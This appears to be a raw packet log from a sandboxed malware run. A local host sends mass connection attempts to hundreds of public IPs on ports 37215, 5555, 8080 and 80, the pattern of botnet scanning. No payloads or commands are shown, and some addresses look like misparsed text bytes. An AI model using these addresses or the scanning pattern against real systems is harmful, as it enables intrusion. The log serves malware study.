Feb 12, 2023 21:24:58.137404919 CET	52981	37215	192.168.2.23	157.1.4.220
Feb 12, 2023 21:24:58.137418985 CET	52981	37215	192.168.2.23	133.247.215.183
Feb 12, 2023 21:24:58.137453079 CET	52981	37215	192.168.2.23	157.129.99.183
Feb 12, 2023 21:24:58.137471914 CET	52981	37215	192.168.2.23	197.47.205.67
Feb 12, 2023 21:24:58.137542009 CET	52981	37215	192.168.2.23	41.89.15.190
Feb 12, 2023 21:24:58.137562990 CET	52981	37215	192.168.2.23	82.38.146.111
Feb 12, 2023 21:24:58.137598991 CET	52981	37215	192.168.2.23	190.47.140.105
Feb 12, 2023 21:24:58.137607098 CET	52981	37215	192.168.2.23	107.95.235.135
Feb 12, 2023 21:24:58.137633085 CET	52981	37215	192.168.2.23	190.167.136.17
Feb 12, 2023 21:24:58.137644053 CET	52981	37215	192.168.2.23	157.175.128.103
Feb 12, 2023 21:24:58.137664080 CET	52981	37215	192.168.2.23	41.131.227.4
Feb 12, 2023 21:24:58.137696028 CET	52981	37215	192.168.2.23	197.57.247.116
Feb 12, 2023 21:24:58.137712002 CET	52981	37215	192.168.2.23	43.57.128.122
Feb 12, 2023 21:24:58.137744904 CET	52981	37215	192.168.2.23	157.220.6.173
Feb 12, 2023 21:24:58.137774944 CET	52981	37215	192.168.2.23	41.74.199.255
Feb 12, 2023 21:24:58.137784004 CET	52981	37215	192.168.2.23	157.237.198.151
Feb 12, 2023 21:24:58.137811899 CET	52981	37215	192.168.2.23	197.70.201.10
Feb 12, 2023 21:24:58.137811899 CET	52981	37215	192.168.2.23	41.229.133.24
Feb 12, 2023 21:24:58.137830019 CET	52981	37215	192.168.2.23	144.29.100.244
Feb 12, 2023 21:24:58.137865067 CET	52981	37215	192.168.2.23	41.205.90.61
Feb 12, 2023 21:24:58.137917995 CET	52981	37215	192.168.2.23	49.93.56.83
Feb 12, 2023 21:24:58.137923002 CET	52981	37215	192.168.2.23	157.35.155.166
Feb 12, 2023 21:24:58.137923002 CET	52981	37215	192.168.2.23	197.148.31.83
Feb 12, 2023 21:24:58.137950897 CET	52981	37215	192.168.2.23	41.106.18.212
Feb 12, 2023 21:24:58.137995005 CET	52981	37215	192.168.2.23	157.50.62.60
Feb 12, 2023 21:24:58.137995005 CET	52981	37215	192.168.2.23	157.41.108.153
Feb 12, 2023 21:24:58.138008118 CET	52981	37215	192.168.2.23	197.110.244.145
Feb 12, 2023 21:24:58.138036013 CET	52981	37215	192.168.2.23	197.89.3.89
Feb 12, 2023 21:24:58.138055086 CET	52981	37215	192.168.2.23	197.200.45.121
Feb 12, 2023 21:24:58.138077021 CET	52981	37215	192.168.2.23	135.43.20.177
Feb 12, 2023 21:24:58.138083935 CET	52981	37215	192.168.2.23	197.38.34.197
Feb 12, 2023 21:24:58.138106108 CET	52981	37215	192.168.2.23	197.111.219.100
Feb 12, 2023 21:24:58.138140917 CET	52981	37215	192.168.2.23	157.79.85.173
Feb 12, 2023 21:24:58.138168097 CET	52981	37215	192.168.2.23	157.120.243.149
Feb 12, 2023 21:24:58.138197899 CET	52981	37215	192.168.2.23	197.225.36.33
Feb 12, 2023 21:24:58.138216972 CET	52981	37215	192.168.2.23	197.21.151.100
Feb 12, 2023 21:24:58.138252020 CET	52981	37215	192.168.2.23	197.53.176.67
Feb 12, 2023 21:24:58.138266087 CET	52981	37215	192.168.2.23	211.140.216.98
Feb 12, 2023 21:24:58.138290882 CET	52981	37215	192.168.2.23	34.7.22.107
Feb 12, 2023 21:24:58.138308048 CET	52981	37215	192.168.2.23	157.7.216.114
Feb 12, 2023 21:24:58.138329983 CET	52981	37215	192.168.2.23	41.225.51.251
Feb 12, 2023 21:24:58.138340950 CET	52981	37215	192.168.2.23	41.18.153.1
Feb 12, 2023 21:24:58.138365030 CET	52981	37215	192.168.2.23	197.242.72.229
Feb 12, 2023 21:24:58.138418913 CET	52981	37215	192.168.2.23	41.219.23.68
Feb 12, 2023 21:24:58.138438940 CET	52981	37215	192.168.2.23	41.146.75.122
Feb 12, 2023 21:24:58.138442993 CET	52981	37215	192.168.2.23	41.152.194.4
Feb 12, 2023 21:24:58.138442993 CET	52981	37215	192.168.2.23	171.77.146.167
Feb 12, 2023 21:24:58.138442993 CET	52981	37215	192.168.2.23	41.14.242.64
Feb 12, 2023 21:24:58.138442993 CET	52981	37215	192.168.2.23	197.200.58.122
Feb 12, 2023 21:24:58.138482094 CET	52981	37215	192.168.2.23	157.218.191.34
Feb 12, 2023 21:24:58.138488054 CET	52981	37215	192.168.2.23	197.209.75.78
Feb 12, 2023 21:24:58.138494968 CET	52981	37215	192.168.2.23	197.213.64.186
Feb 12, 2023 21:24:58.138535023 CET	52981	37215	192.168.2.23	41.211.223.45
Feb 12, 2023 21:24:58.138565063 CET	52981	37215	192.168.2.23	96.94.207.180
Feb 12, 2023 21:24:58.138565063 CET	52981	37215	192.168.2.23	41.157.180.22
Feb 12, 2023 21:24:58.138581038 CET	52981	37215	192.168.2.23	157.57.181.225
Feb 12, 2023 21:24:58.138608932 CET	52981	37215	192.168.2.23	157.235.23.235
Feb 12, 2023 21:24:58.138621092 CET	52981	37215	192.168.2.23	223.143.200.99
Feb 12, 2023 21:24:58.138643980 CET	52981	37215	192.168.2.23	41.169.183.33
Feb 12, 2023 21:24:58.138698101 CET	52981	37215	192.168.2.23	129.251.30.145
Feb 12, 2023 21:24:58.138698101 CET	52981	37215	192.168.2.23	41.200.57.154
Feb 12, 2023 21:24:58.138722897 CET	52981	37215	192.168.2.23	157.91.181.50
Feb 12, 2023 21:24:58.138744116 CET	52981	37215	192.168.2.23	41.118.177.104
Feb 12, 2023 21:24:58.138776064 CET	52981	37215	192.168.2.23	197.95.216.29
Feb 12, 2023 21:24:58.138782978 CET	52981	37215	192.168.2.23	41.119.104.130
Feb 12, 2023 21:24:58.138804913 CET	52981	37215	192.168.2.23	157.124.137.51
Feb 12, 2023 21:24:58.138842106 CET	52981	37215	192.168.2.23	41.20.218.24
Feb 12, 2023 21:24:58.138870955 CET	52981	37215	192.168.2.23	197.122.30.170
Feb 12, 2023 21:24:58.138873100 CET	52981	37215	192.168.2.23	157.158.17.153
Feb 12, 2023 21:24:58.138874054 CET	52981	37215	192.168.2.23	41.147.196.91
Feb 12, 2023 21:24:58.138900042 CET	52981	37215	192.168.2.23	157.221.82.11
Feb 12, 2023 21:24:58.138928890 CET	52981	37215	192.168.2.23	41.242.178.34
Feb 12, 2023 21:24:58.138928890 CET	52981	37215	192.168.2.23	197.201.32.45
Feb 12, 2023 21:24:58.138951063 CET	52981	37215	192.168.2.23	157.192.64.28
Feb 12, 2023 21:24:58.138978004 CET	52981	37215	192.168.2.23	17.56.116.100
Feb 12, 2023 21:24:58.139000893 CET	52981	37215	192.168.2.23	91.75.206.29
Feb 12, 2023 21:24:58.139020920 CET	52981	37215	192.168.2.23	41.166.136.188
Feb 12, 2023 21:24:58.139051914 CET	52981	37215	192.168.2.23	197.3.200.43
Feb 12, 2023 21:24:58.139071941 CET	52981	37215	192.168.2.23	60.146.138.75
Feb 12, 2023 21:24:58.139101028 CET	52981	37215	192.168.2.23	205.128.99.52
Feb 12, 2023 21:24:58.139142990 CET	52981	37215	192.168.2.23	157.167.133.55
Feb 12, 2023 21:24:58.139152050 CET	52981	37215	192.168.2.23	80.228.134.146
Feb 12, 2023 21:24:58.139152050 CET	52981	37215	192.168.2.23	122.217.103.16
Feb 12, 2023 21:24:58.139152050 CET	52981	37215	192.168.2.23	174.229.169.46
Feb 12, 2023 21:24:58.139241934 CET	52981	37215	192.168.2.23	157.187.56.118
Feb 12, 2023 21:24:58.139245987 CET	52981	37215	192.168.2.23	41.192.191.136
Feb 12, 2023 21:24:58.139245987 CET	52981	37215	192.168.2.23	197.185.126.210
Feb 12, 2023 21:24:58.139270067 CET	52981	37215	192.168.2.23	41.197.223.146
Feb 12, 2023 21:24:58.139276028 CET	52981	37215	192.168.2.23	41.120.49.130
Feb 12, 2023 21:24:58.139307976 CET	52981	37215	192.168.2.23	157.184.245.51
Feb 12, 2023 21:24:58.139319897 CET	52981	37215	192.168.2.23	197.189.236.13
Feb 12, 2023 21:24:58.139353991 CET	52981	37215	192.168.2.23	157.232.244.108
Feb 12, 2023 21:24:58.139358044 CET	52981	37215	192.168.2.23	157.92.213.237
Feb 12, 2023 21:24:58.139383078 CET	52981	37215	192.168.2.23	197.190.144.73
Feb 12, 2023 21:24:58.139394999 CET	52981	37215	192.168.2.23	197.114.212.52
Feb 12, 2023 21:24:58.139432907 CET	52981	37215	192.168.2.23	157.248.200.3
Feb 12, 2023 21:24:58.139441013 CET	52981	37215	192.168.2.23	157.105.252.249
Feb 12, 2023 21:24:58.139482975 CET	52981	37215	192.168.2.23	41.196.70.45
Feb 12, 2023 21:24:58.139491081 CET	52981	37215	192.168.2.23	197.90.238.71
Feb 12, 2023 21:24:58.139528990 CET	52981	37215	192.168.2.23	157.235.128.130
Feb 12, 2023 21:24:58.139568090 CET	52981	37215	192.168.2.23	41.147.165.30
Feb 12, 2023 21:24:58.139575958 CET	52981	37215	192.168.2.23	41.46.144.222
Feb 12, 2023 21:24:58.139579058 CET	52981	37215	192.168.2.23	131.138.132.200
Feb 12, 2023 21:24:58.139617920 CET	52981	37215	192.168.2.23	85.199.254.175
Feb 12, 2023 21:24:58.139646053 CET	52981	37215	192.168.2.23	157.234.32.154
Feb 12, 2023 21:24:58.139657974 CET	52981	37215	192.168.2.23	86.96.125.215
Feb 12, 2023 21:24:58.139681101 CET	52981	37215	192.168.2.23	157.82.68.233
Feb 12, 2023 21:24:58.139707088 CET	52981	37215	192.168.2.23	41.240.160.239
Feb 12, 2023 21:24:58.139717102 CET	52981	37215	192.168.2.23	197.176.203.20
Feb 12, 2023 21:24:58.139740944 CET	52981	37215	192.168.2.23	41.9.76.203
Feb 12, 2023 21:24:58.139774084 CET	52981	37215	192.168.2.23	193.116.162.227
Feb 12, 2023 21:24:58.139811993 CET	52981	37215	192.168.2.23	41.92.183.3
Feb 12, 2023 21:24:58.139827013 CET	52981	37215	192.168.2.23	197.95.115.158
Feb 12, 2023 21:24:58.139827013 CET	52981	37215	192.168.2.23	197.240.141.105
Feb 12, 2023 21:24:58.139872074 CET	52981	37215	192.168.2.23	157.150.150.114
Feb 12, 2023 21:24:58.139872074 CET	52981	37215	192.168.2.23	157.87.119.67
Feb 12, 2023 21:24:58.139882088 CET	52981	37215	192.168.2.23	41.217.12.149
Feb 12, 2023 21:24:58.139906883 CET	52981	37215	192.168.2.23	157.220.6.149
Feb 12, 2023 21:24:58.139926910 CET	52981	37215	192.168.2.23	197.193.0.251
Feb 12, 2023 21:24:58.139950037 CET	52981	37215	192.168.2.23	41.237.12.222
Feb 12, 2023 21:24:58.139974117 CET	52981	37215	192.168.2.23	197.231.86.240
Feb 12, 2023 21:24:58.139987946 CET	52981	37215	192.168.2.23	41.22.199.31
Feb 12, 2023 21:24:58.140016079 CET	52981	37215	192.168.2.23	157.15.118.62
Feb 12, 2023 21:24:58.140045881 CET	52981	37215	192.168.2.23	197.146.0.198
Feb 12, 2023 21:24:58.140080929 CET	52981	37215	192.168.2.23	157.70.67.123
Feb 12, 2023 21:24:58.140084982 CET	52981	37215	192.168.2.23	220.127.159.158
Feb 12, 2023 21:24:58.140105009 CET	52981	37215	192.168.2.23	41.89.249.3
Feb 12, 2023 21:24:58.140126944 CET	52981	37215	192.168.2.23	157.45.237.165
Feb 12, 2023 21:24:58.140131950 CET	52981	37215	192.168.2.23	85.174.9.89
Feb 12, 2023 21:24:58.140167952 CET	52981	37215	192.168.2.23	197.10.12.80
Feb 12, 2023 21:24:58.140188932 CET	52981	37215	192.168.2.23	41.5.68.76
Feb 12, 2023 21:24:58.140197992 CET	52981	37215	192.168.2.23	87.247.144.12
Feb 12, 2023 21:24:58.140224934 CET	52981	37215	192.168.2.23	197.39.54.154
Feb 12, 2023 21:24:58.140260935 CET	52981	37215	192.168.2.23	40.17.56.43
Feb 12, 2023 21:24:58.140268087 CET	52981	37215	192.168.2.23	41.192.204.86
Feb 12, 2023 21:24:58.140311956 CET	52981	37215	192.168.2.23	197.133.164.96
Feb 12, 2023 21:24:58.140314102 CET	52981	37215	192.168.2.23	41.133.231.53
Feb 12, 2023 21:24:58.140315056 CET	52981	37215	192.168.2.23	41.254.193.212
Feb 12, 2023 21:24:58.140314102 CET	52981	37215	192.168.2.23	120.65.19.13
Feb 12, 2023 21:24:58.140353918 CET	52981	37215	192.168.2.23	197.74.162.67
Feb 12, 2023 21:24:58.140407085 CET	52981	37215	192.168.2.23	170.201.20.183
Feb 12, 2023 21:24:58.140408039 CET	52981	37215	192.168.2.23	157.175.86.191
Feb 12, 2023 21:24:58.140408039 CET	52981	37215	192.168.2.23	157.135.147.9
Feb 12, 2023 21:24:58.140433073 CET	52981	37215	192.168.2.23	197.31.230.37
Feb 12, 2023 21:24:58.140444040 CET	52981	37215	192.168.2.23	197.186.29.122
Feb 12, 2023 21:24:58.140477896 CET	52981	37215	192.168.2.23	41.197.103.251
Feb 12, 2023 21:24:58.140505075 CET	52981	37215	192.168.2.23	157.55.129.181
Feb 12, 2023 21:24:58.140539885 CET	52981	37215	192.168.2.23	157.57.44.162
Feb 12, 2023 21:24:58.140572071 CET	52981	37215	192.168.2.23	41.227.193.180
Feb 12, 2023 21:24:58.140583038 CET	52981	37215	192.168.2.23	41.147.92.11
Feb 12, 2023 21:24:58.140594959 CET	52981	37215	192.168.2.23	41.42.217.42
Feb 12, 2023 21:24:58.140618086 CET	52981	37215	192.168.2.23	197.154.103.41
Feb 12, 2023 21:24:58.140618086 CET	52981	37215	192.168.2.23	197.249.23.172
Feb 12, 2023 21:24:58.140629053 CET	52981	37215	192.168.2.23	24.129.188.197
Feb 12, 2023 21:24:58.140655041 CET	52981	37215	192.168.2.23	208.107.120.86
Feb 12, 2023 21:24:58.140666008 CET	52981	37215	192.168.2.23	157.5.94.236
Feb 12, 2023 21:24:58.140687943 CET	52981	37215	192.168.2.23	197.102.17.73
Feb 12, 2023 21:24:58.140717983 CET	52981	37215	192.168.2.23	197.80.247.215
Feb 12, 2023 21:24:58.140737057 CET	52981	37215	192.168.2.23	45.56.219.35
Feb 12, 2023 21:24:58.140737057 CET	52981	37215	192.168.2.23	41.3.217.69
Feb 12, 2023 21:24:58.140744925 CET	52981	37215	192.168.2.23	79.130.21.59
Feb 12, 2023 21:24:58.140764952 CET	52981	37215	192.168.2.23	141.90.103.33
Feb 12, 2023 21:24:58.140799999 CET	52981	37215	192.168.2.23	41.202.24.68
Feb 12, 2023 21:24:58.140810013 CET	52981	37215	192.168.2.23	41.65.76.50
Feb 12, 2023 21:24:58.140825033 CET	52981	37215	192.168.2.23	41.163.29.28
Feb 12, 2023 21:24:58.140847921 CET	52981	37215	192.168.2.23	197.183.220.65
Feb 12, 2023 21:24:58.140877008 CET	52981	37215	192.168.2.23	197.138.4.222
Feb 12, 2023 21:24:58.140902996 CET	52981	37215	192.168.2.23	197.206.202.155
Feb 12, 2023 21:24:58.140932083 CET	52981	37215	192.168.2.23	19.85.162.166
Feb 12, 2023 21:24:58.140960932 CET	52981	37215	192.168.2.23	110.75.129.208
Feb 12, 2023 21:24:58.140979052 CET	52981	37215	192.168.2.23	221.221.253.10
Feb 12, 2023 21:24:58.141012907 CET	52981	37215	192.168.2.23	144.199.159.97
Feb 12, 2023 21:24:58.141012907 CET	52981	37215	192.168.2.23	41.73.40.183
Feb 12, 2023 21:24:58.141041994 CET	52981	37215	192.168.2.23	41.192.100.69
Feb 12, 2023 21:24:58.141066074 CET	52981	37215	192.168.2.23	200.51.103.119
Feb 12, 2023 21:24:58.141104937 CET	52981	37215	192.168.2.23	157.57.43.168
Feb 12, 2023 21:24:58.141170025 CET	52981	37215	192.168.2.23	182.177.177.235
Feb 12, 2023 21:24:58.141170025 CET	52981	37215	192.168.2.23	41.36.2.254
Feb 12, 2023 21:24:58.141172886 CET	52981	37215	192.168.2.23	130.168.8.10
Feb 12, 2023 21:24:58.141222954 CET	52981	37215	192.168.2.23	157.199.110.112
Feb 12, 2023 21:24:58.141228914 CET	52981	37215	192.168.2.23	157.2.210.193
Feb 12, 2023 21:24:58.141254902 CET	52981	37215	192.168.2.23	204.201.49.38
Feb 12, 2023 21:24:58.141288042 CET	52981	37215	192.168.2.23	197.39.230.198
Feb 12, 2023 21:24:58.141305923 CET	52981	37215	192.168.2.23	218.84.150.156
Feb 12, 2023 21:24:58.141314983 CET	52981	37215	192.168.2.23	197.1.154.110
Feb 12, 2023 21:24:58.141360998 CET	52981	37215	192.168.2.23	41.101.143.109
Feb 12, 2023 21:24:58.141361952 CET	52981	37215	192.168.2.23	157.210.133.19
Feb 12, 2023 21:24:58.141370058 CET	52981	37215	192.168.2.23	157.96.119.59
Feb 12, 2023 21:24:58.141412973 CET	52981	37215	192.168.2.23	41.14.81.88
Feb 12, 2023 21:24:58.141426086 CET	52981	37215	192.168.2.23	41.228.83.6
Feb 12, 2023 21:24:58.141443014 CET	52981	37215	192.168.2.23	157.0.46.75
Feb 12, 2023 21:24:58.141469955 CET	52981	37215	192.168.2.23	41.28.129.213
Feb 12, 2023 21:24:58.141504049 CET	52981	37215	192.168.2.23	41.189.181.200
Feb 12, 2023 21:24:58.141526937 CET	52981	37215	192.168.2.23	187.81.116.197
Feb 12, 2023 21:24:58.141552925 CET	52981	37215	192.168.2.23	197.189.78.56
Feb 12, 2023 21:24:58.141576052 CET	52981	37215	192.168.2.23	41.156.125.206
Feb 12, 2023 21:24:58.141585112 CET	52981	37215	192.168.2.23	197.9.252.82
Feb 12, 2023 21:24:58.141618013 CET	52981	37215	192.168.2.23	153.172.153.105
Feb 12, 2023 21:24:58.141632080 CET	52981	37215	192.168.2.23	197.21.103.86
Feb 12, 2023 21:24:58.141652107 CET	52981	37215	192.168.2.23	41.227.204.85
Feb 12, 2023 21:24:58.141668081 CET	52981	37215	192.168.2.23	93.82.119.232
Feb 12, 2023 21:24:58.141699076 CET	52981	37215	192.168.2.23	14.130.181.239
Feb 12, 2023 21:24:58.141714096 CET	52981	37215	192.168.2.23	157.129.209.79
Feb 12, 2023 21:24:58.141731024 CET	52981	37215	192.168.2.23	41.175.53.84
Feb 12, 2023 21:24:58.141765118 CET	52981	37215	192.168.2.23	1.229.191.45
Feb 12, 2023 21:24:58.141792059 CET	52981	37215	192.168.2.23	20.207.92.32
Feb 12, 2023 21:24:58.141799927 CET	52981	37215	192.168.2.23	137.109.109.255
Feb 12, 2023 21:24:58.141832113 CET	52981	37215	192.168.2.23	8.69.37.60
Feb 12, 2023 21:24:58.141858101 CET	52981	37215	192.168.2.23	217.179.220.55
Feb 12, 2023 21:24:58.141885996 CET	52981	37215	192.168.2.23	41.83.93.164
Feb 12, 2023 21:24:58.141912937 CET	52981	37215	192.168.2.23	137.167.23.117
Feb 12, 2023 21:24:58.141933918 CET	52981	37215	192.168.2.23	41.106.46.146
Feb 12, 2023 21:24:58.141935110 CET	52981	37215	192.168.2.23	41.0.14.176
Feb 12, 2023 21:24:58.141937971 CET	52981	37215	192.168.2.23	41.252.114.127
Feb 12, 2023 21:24:58.141973019 CET	52981	37215	192.168.2.23	41.223.160.115
Feb 12, 2023 21:24:58.142002106 CET	52981	37215	192.168.2.23	41.204.136.104
Feb 12, 2023 21:24:58.142029047 CET	52981	37215	192.168.2.23	157.160.233.98
Feb 12, 2023 21:24:58.142052889 CET	52981	37215	192.168.2.23	197.177.181.67
Feb 12, 2023 21:24:58.142117023 CET	52981	37215	192.168.2.23	1.185.236.205
Feb 12, 2023 21:24:58.142132044 CET	52981	37215	192.168.2.23	197.157.56.51
Feb 12, 2023 21:24:58.142141104 CET	52981	37215	192.168.2.23	157.128.107.169
Feb 12, 2023 21:24:58.142151117 CET	52981	37215	192.168.2.23	117.97.129.36
Feb 12, 2023 21:24:58.142173052 CET	52981	37215	192.168.2.23	197.63.246.164
Feb 12, 2023 21:24:58.142189980 CET	52981	37215	192.168.2.23	41.161.26.138
Feb 12, 2023 21:24:58.142219067 CET	52981	37215	192.168.2.23	157.228.132.48
Feb 12, 2023 21:24:58.142225981 CET	52981	37215	192.168.2.23	174.63.90.150
Feb 12, 2023 21:24:58.142231941 CET	52981	37215	192.168.2.23	197.107.172.218
Feb 12, 2023 21:24:58.142287970 CET	52981	37215	192.168.2.23	157.83.167.156
Feb 12, 2023 21:24:58.142302036 CET	52981	37215	192.168.2.23	41.17.13.177
Feb 12, 2023 21:24:58.142302036 CET	52981	37215	192.168.2.23	150.202.53.12
Feb 12, 2023 21:24:58.142328024 CET	52981	37215	192.168.2.23	87.165.228.210
Feb 12, 2023 21:24:58.142359972 CET	52981	37215	192.168.2.23	157.213.57.220
Feb 12, 2023 21:24:58.142374992 CET	52981	37215	192.168.2.23	41.157.109.13
Feb 12, 2023 21:24:58.142381907 CET	52981	37215	192.168.2.23	76.244.79.62
Feb 12, 2023 21:24:58.142409086 CET	52981	37215	192.168.2.23	102.100.233.119
Feb 12, 2023 21:24:58.142466068 CET	52981	37215	192.168.2.23	101.159.67.64
Feb 12, 2023 21:24:58.142466068 CET	52981	37215	192.168.2.23	41.134.107.242
Feb 12, 2023 21:24:58.142466068 CET	52981	37215	192.168.2.23	41.186.116.16
Feb 12, 2023 21:24:58.142494917 CET	52981	37215	192.168.2.23	197.118.239.146
Feb 12, 2023 21:24:58.142518044 CET	52981	37215	192.168.2.23	197.174.53.224
Feb 12, 2023 21:24:58.142556906 CET	52981	37215	192.168.2.23	41.85.244.181
Feb 12, 2023 21:24:58.142584085 CET	52981	37215	192.168.2.23	121.202.159.248
Feb 12, 2023 21:24:58.142744064 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:58.159360886 CET	54868	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.183573961 CET	37215	52981	85.199.254.175	192.168.2.23
Feb 12, 2023 21:24:58.188770056 CET	37215	52981	197.213.139.111	192.168.2.23
Feb 12, 2023 21:24:58.195271015 CET	5555	51694	142.11.52.65	192.168.2.23
Feb 12, 2023 21:24:58.209033012 CET	37215	52981	87.247.144.12	192.168.2.23
Feb 12, 2023 21:24:58.210566998 CET	37215	52981	197.193.0.251	192.168.2.23
Feb 12, 2023 21:24:58.218630075 CET	5555	22272	119.196.184.110	192.168.2.23
Feb 12, 2023 21:24:58.218933105 CET	37215	53024	41.152.40.105	192.168.2.23
Feb 12, 2023 21:24:58.219136953 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:58.219137907 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:58.219137907 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:58.263379097 CET	33286	80	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:58.268831968 CET	5555	22272	60.105.67.115	192.168.2.23
Feb 12, 2023 21:24:58.287209034 CET	55110	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:58.287209034 CET	55862	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:58.287214994 CET	55860	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:58.287255049 CET	55100	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:58.287267923 CET	55102	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:58.288063049 CET	55858	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:58.295500040 CET	37215	52981	157.120.243.149	192.168.2.23
Feb 12, 2023 21:24:58.307356119 CET	37215	52981	190.167.136.17	192.168.2.23
Feb 12, 2023 21:24:58.381115913 CET	35298	8080	192.168.2.23	49.54.56.46
Feb 12, 2023 21:24:58.384273052 CET	51930	8080	192.168.2.23	51.51.46.51
Feb 12, 2023 21:24:58.394542933 CET	41866	8080	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:58.406124115 CET	34386	8080	192.168.2.23	49.54.51.46
Feb 12, 2023 21:24:58.415383101 CET	33122	8080	192.168.2.23	50.48.50.46
Feb 12, 2023 21:24:58.423738003 CET	43906	8080	192.168.2.23	53.50.46.50
Feb 12, 2023 21:24:58.426614046 CET	55486	8080	192.168.2.23	49.57.56.46
Feb 12, 2023 21:24:58.439232111 CET	33788	8080	192.168.2.23	50.46.54.48
Feb 12, 2023 21:24:58.451096058 CET	60312	8080	192.168.2.23	49.57.48.46
Feb 12, 2023 21:24:58.462752104 CET	58524	8080	192.168.2.23	49.55.51.46
Feb 12, 2023 21:24:58.479310036 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:58.479321003 CET	33668	7574	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:58.479446888 CET	59110	5555	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:58.511271000 CET	53024	37215	192.168.2.23	41.152.40.105
Feb 12, 2023 21:24:58.537189007 CET	37215	52981	197.213.64.186	192.168.2.23
Feb 12, 2023 21:24:58.607355118 CET	49498	80	192.168.2.23	56.52.46.51
Feb 12, 2023 21:24:58.607369900 CET	54376	80	192.168.2.23	50.46.50.50
Feb 12, 2023 21:24:58.637618065 CET	37215	52981	197.9.252.82	192.168.2.23
Feb 12, 2023 21:24:58.639254093 CET	37330	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:24:58.639290094 CET	37328	80	192.168.2.23	53.56.46.53
Feb 12, 2023 21:24:58.642195940 CET	32818	80	192.168.2.23	56.50.46.55
Feb 12, 2023 21:24:58.671299934 CET	59998	80	192.168.2.23	52.50.46.50
Feb 12, 2023 21:24:58.735245943 CET	38968	80	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:58.735250950 CET	44526	80	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:58.735249996 CET	34932	80	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:58.735290051 CET	39002	80	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:58.765862942 CET	60566	37215	192.168.2.23	50.50.48.46
Feb 12, 2023 21:24:58.767293930 CET	58564	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:58.773232937 CET	43462	37215	192.168.2.23	56.48.46.53
Feb 12, 2023 21:24:58.783266068 CET	34592	37215	192.168.2.23	49.52.53.46
Feb 12, 2023 21:24:58.803435087 CET	33856	37215	192.168.2.23	56.48.46.49
Feb 12, 2023 21:24:58.816201925 CET	53140	37215	192.168.2.23	49.56.50.46
Feb 12, 2023 21:24:58.961078882 CET	22272	5555	192.168.2.23	124.157.117.26
Feb 12, 2023 21:24:58.961078882 CET	22272	5555	192.168.2.23	49.108.45.86
Feb 12, 2023 21:24:58.961078882 CET	22272	5555	192.168.2.23	213.214.204.120
Feb 12, 2023 21:24:58.961097956 CET	22272	5555	192.168.2.23	73.16.62.80
Feb 12, 2023 21:24:58.961103916 CET	22272	5555	192.168.2.23	154.175.198.202
Feb 12, 2023 21:24:58.961107016 CET	22272	5555	192.168.2.23	79.150.126.214
Feb 12, 2023 21:24:58.961103916 CET	22272	5555	192.168.2.23	118.212.27.6
Feb 12, 2023 21:24:58.961111069 CET	22272	5555	192.168.2.23	60.25.165.225
Feb 12, 2023 21:24:58.961110115 CET	22272	5555	192.168.2.23	221.117.37.254
Feb 12, 2023 21:24:58.961103916 CET	22272	5555	192.168.2.23	160.214.183.226
Feb 12, 2023 21:24:58.961111069 CET	22272	5555	192.168.2.23	200.215.193.219
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	43.248.68.31
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	60.145.40.48
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	157.210.5.26
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	169.155.253.250
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	97.107.2.49
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	207.193.83.74
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	4.215.216.74
Feb 12, 2023 21:24:58.961271048 CET	22272	5555	192.168.2.23	209.235.193.127
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	24.144.46.47
Feb 12, 2023 21:24:58.961282969 CET	22272	5555	192.168.2.23	200.128.154.198
Feb 12, 2023 21:24:58.961282969 CET	22272	5555	192.168.2.23	104.112.253.255
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	70.84.169.231
Feb 12, 2023 21:24:58.961283922 CET	22272	5555	192.168.2.23	152.180.126.251
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	194.67.143.129
Feb 12, 2023 21:24:58.961283922 CET	22272	5555	192.168.2.23	189.253.80.232
Feb 12, 2023 21:24:58.961287022 CET	22272	5555	192.168.2.23	142.240.125.67
Feb 12, 2023 21:24:58.961286068 CET	22272	5555	192.168.2.23	58.56.97.6
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	82.21.131.178
Feb 12, 2023 21:24:58.961287022 CET	22272	5555	192.168.2.23	121.211.84.124
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	167.154.236.198
Feb 12, 2023 21:24:58.961286068 CET	22272	5555	192.168.2.23	43.148.76.87
Feb 12, 2023 21:24:58.961283922 CET	22272	5555	192.168.2.23	164.74.16.200
Feb 12, 2023 21:24:58.961282015 CET	22272	5555	192.168.2.23	196.65.237.10
Feb 12, 2023 21:24:58.961287022 CET	22272	5555	192.168.2.23	75.127.178.185
Feb 12, 2023 21:24:58.961283922 CET	22272	5555	192.168.2.23	92.59.122.161
Feb 12, 2023 21:24:58.961286068 CET	22272	5555	192.168.2.23	77.198.88.174
